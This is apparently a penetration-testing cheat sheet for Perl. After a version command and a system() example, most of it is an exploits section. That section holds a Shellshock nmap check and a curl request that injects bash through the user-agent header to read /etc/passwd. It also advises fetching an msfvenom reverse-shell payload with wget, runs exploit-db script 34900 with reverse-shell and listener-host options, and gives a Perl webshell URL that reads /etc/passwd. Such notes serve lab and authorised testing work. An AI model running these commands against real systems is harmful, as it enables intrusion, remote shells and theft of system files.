Perl Cheat Sheet

Cheat sheet and tricks for the Perl programming language.

Version

perl -v

Examples

Test Perl code

System calls

# system() takes a list of parameters and executes the first element as a command,
# passing it the rest of the elements as arguments.
system ("cat", "/usr/stats/$username");

Exploits

.cgi are perl scripts! See HackTricks.

Shellshock (CVE-2014-6271)

Check if vulnerable

nmap $IP -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Exploit (manual)

When working, generate a reverse shell payload using Msfvenom and use wget to download it.

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://x.x.x.x:80/cgi-bin/admin.cgi

Exploit (exploit-db)

Do NOT start a listener, the exploit does everything.

searchsploit -m 34900

python2 34900.py payload=reverse rhost=x.x.x.x lhost=y.y.y.y lport=443 pages=/cgi-bin/test.cgi,/cgi-bin/admin.cgi

Webshells & Reverse Shells

• /usr/share/webshells/perl/

http://x.x.x.x/perlcmd.cgi?cat /etc/passwd